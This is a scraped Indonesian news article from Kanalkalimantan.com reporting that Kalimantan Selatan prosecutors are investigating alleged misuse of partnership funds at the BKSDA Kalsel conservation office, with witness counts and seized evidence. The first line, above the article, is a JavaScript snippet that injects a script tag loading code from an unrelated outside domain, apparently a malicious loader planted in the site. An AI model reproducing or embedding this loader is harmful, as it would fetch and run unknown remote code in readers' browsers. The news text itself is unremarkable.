(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Belum ada keterangan resmi atau pun tersangka yang ditetapkan Kejati Kalsel pada penggeledahan di kantor BKSDA Kalsel terkait dugaan korupsi.
Kejaksaan Tinggi (Kejati) Kalimantan Selatan (Kalsel) masih mendalami dugaan penyalahgunaan wewenang dan penyelewengan dana Perjanjian Kerja Sama (PKS) di Balai Konservasi Sumber Daya Alam (BKSDA) Kalsel, Rabu (17/12/2025).
Informasi yang dihimpun Kanalkalimantan, dalam proses penyidikan yang sedang berjalan, Kejati Kalsel masih memfokuskan pemeriksaan terhadap 14 perusahaan mitra BKSDA Kalsel.
Baca juga: Penyidik Kejati Angkut 3 Box dari Kantor BKSDA Kalsel
Perusahaan-perusahaan tersebut terdiri dari Badan Usaha Milik Negara (BUMN), Badan Usaha Milik Daerah (BUMD), serta perusahaan swasta yang memanfaatkan kawasan hutan di bawah pengelolaan BKSDA Kalsel.
Asisten Intelijen Kejati Kalsel, Nana Riana, mengungkapkan, saat ini penyidik telah memeriksa sekitar 20 orang saksi.
Pemeriksaan dilakukan terhadap pihak ketiga, perwakilan perusahaan, serta internal BKSDA Kalsel, termasuk Kepala BKSDA.
Baca juga: Penyidik Kejati Geledah Kantor BKSDA Kalsel
“Ada 20 orang yang kami periksa, baik dari pihak ketiga, pihak swasta, maupun dari internal BKSDA. Kepala BKSDA juga sudah dilakukan pemeriksaan,” ujar Nana Riana.
Dana yang menjadi objek penyidikan bersumber dari PKS antara BKSDA Kalsel dengan perusahaan-perusahaan mitra terjadi rentang waktu 2021-2024.
Dana kerja sama itu seharusnya digunakan untuk mendukung kegiatan, termasuk penanganan dampak pemanfaatan kawasan hutan sesuai ketentuan peraturan perundang-undangan.
Baca juga: Juntaian Kabel Sentuh Tanah di Km 31 Banjarbaru, Warga Lapor Tidak Ada Perbaikan
“Perusahaan-perusahaan ini memanfaatkan kawasan hutan, baik untuk pembangunan infrastruktur seperti jalan, listrik, maupun lainnya,” jelasnya.
Dalam penggeledahan di kantor BKSDA Kalsel, tim penyidik Kejati telah menyita sejumlah dokumen fisik dan barang elektronik berkaitan dengan pengelolaan dana PKS.
Seluruh barang bukti tersebut kini tengah didalami untuk mengungkap alur penggunaan dana dan potensi kerugian negara.
“Potensi kerugian negara ada, namun nilainya masih dalam proses pendalaman dan koordinasi dengan pihak terkait,” pungkasnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
Meninggal Dunia Sudah 3 Bulan, Patahan Tulang di Bagian Leher Read More
KANALKALIMANTAN.COM, BANJARBARU - Geger penemuan tulang belulang diduga kerangka manusia terjadi di Jalan Sidomulyo Permai,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyidikan dugaan penyalahgunaan wewenang dan penyelewengan dana kegiatan milik Balai Konservasi Sumber… Read More
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur diwakili Sekretaris Daerah Kabupaten Banjar H Yudi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Apel Hari Kesadaran Nasional dilaksanakan oleh Pemerintah Kabupaten Banjar di halaman Kantor… Read More
KANALKALIMANTAN.COM - Ajang penghargaan musik paling bergengsi di Tanah Air kembali hadir. Indonesian Music Awards… Read More
This website uses cookies.